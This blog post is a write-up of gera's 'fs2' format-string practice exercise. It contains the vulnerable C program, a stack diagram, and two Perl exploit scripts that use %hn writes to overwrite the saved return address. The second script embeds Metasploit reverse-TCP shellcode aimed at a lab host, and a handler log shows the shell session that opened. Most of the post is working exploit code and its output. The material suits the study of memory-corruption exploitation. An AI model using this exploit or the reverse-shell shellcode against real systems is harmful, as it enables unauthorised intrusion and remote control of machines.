Tuesday, September 13, 2011

Format Strings: fs2


/* fs2.c *
* specially crafted to feed your brain by gera */

/* Can you tell me what's above the edge? */
int main(int argv,char **argc) {
char buf[256];

snprintf(buf,sizeof buf,"%s%c%c%hn",argc[1]);
snprintf(buf,sizeof buf,"%s%c%c%hn",argc[2]);
}

The snprintfs lack 3 arguments for the 2 x %c and %hn format specifiers. From what I can see the stack looks something like:

ptr to buf <-- esp points here
256 (int)
ptr to "%s%c%c%hn"
ptr to argc[1] <-- arguments for snprintf start here

buf[0]
buf[1]
buf[2]
buf[3]

buf[4]
buf[5]
buf[6]
buf[7]

buf[8]
buf[9]
buf[10]
buf[11] <-- and end here

...

buf[254]
buf[255]

saved ebp
saved eip

Essentially, the snprintf become:

snprintf(buf, sizeof buf, "%s%c%c%hn", argc[1], buf[0-3], buf[4-7], buf[8-11]

I created 2 Perl scripts for the exploit, 1 for each command line argument.

dennis@ipa:~/fs2$ cat fs2exp_arg1.pl
#!/usr/bin/perl

# filler for the "%c%c" format specifiers in snprintf
my $filler = "A" x 8;

# address for the "%hn" to write the number of characters printed so far to
# least significant word
#my $eip = "\x6c\x42\xfe\xbf"; # gdb
my $eip = "\x5c\x42\xfe\xbf";

# filler to pad the characters printed count
my $filler2 = "C" x 63634;

# 0xf8a0 - 2 ("%c%c") total characters
print $filler.$eip.$filler2;

From the stack diagram, the first 8 bytes are filler for the 2 %cs.

Next, buf is filled with a writable address so that the %hn can write the number of characters printed in the %s string to it. The 'h' indicates a short int, so only 2 bytes of this address can be overwritten. The address points to the 2 least significant bytes of main's saved return address.

buf is then filled with 63634 junk bytes to control the character count. This will end up overwriting eip with 0xWXYZf8a0.

The script prints 0xf8a0 - 2 characters. (The extra 2 are added by printing the %cs)

dennis@ipa:~/fs2$ cat fs2exp_arg2.pl
#!/usr/bin/perl

# filler for the "%c%c" format specifiers in snprintf
my $filler = "D" x 8;

# address for the "%hn" to write the number of characters printed so far to
# most significant word -- arg1 $eip + 2
#my $eip = "\x6e\x42\xfe\xbf"; # gdb
my $eip = "\x5e\x42\xfe\xbf";

my $nops = "\x90" x 48766;

# msf3 linux/x86/shell_reverse_tcp, LHOST=192.168.0.4, badchars="\x00"`
my $shellcode =
"\xba\xbb\x01\x12\x0d\xda\xc7\xd9\x74\x24\xf4\x5e\x2b\xc9" .
"\xb1\x12\x83\xc6\x04\x31\x56\x11\x03\x56\x11\xe2\x4e\x30" .
"\xc9\xfa\x53\x60\xae\x57\xf9\x85\xb9\xb9\x4d\xef\x74\xb9" .
"\xf6\xae\xee\x7a\xa0\x4f\xeb\x1c\xd8\x5e\xaf\x86\x4b\x0b" .
"\x5f\x16\x3b\x42\xbe\xdb\xd1\x32\x19\x11\xa5\xe2\x1e\x70" .
"\x15\x2b\xec\x03\x1c\x2d\x17\x53\xf6\xe2\xc8\x27\x6e\x95" .
"\x39\xaa\x07\x0b\xcf\xc9\x87\x80\x46\xec\x97\x2c\x94\x6f";

# filler to pad the characters printed count
my $filler2 = "E" x (49137-length($nops)-length($shellcode));

# 0xbfff - 2 ("%c %c") total characters
print $filler.$eip.$nops.$shellcode.$filler2;

The second argument script is similar to the first. Starts with filler for the %cs. The writable address points to the 2 most significant bytes of main's saved return address (unaligned access).

buf is then filled with a huge nop slide and some shellcode.

So that eip is overwritten with a 0xbfffWYXZ, some more fillers bytes are added to pad the character count.

The script prints 0xbfff - 2 characters (2 more are added by printing the %cs).

The format string vulnerabilities in the snprintfs allows main's saved eip to be overwritten with 0xbffff8a0. This address points back into the nop slide and shellcode.

msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.4:4444
[*] Starting the payload handler...
[*] Command shell session 13 opened (192.168.0.4:4444 -> 192.168.0.38:49249) at 2011-09-08 22:31:11 -0500

id
uid=500(dennis) gid=500(dennis) groups=500(dennis)
pwd
/home/dennis/fs2

No comments:

Post a Comment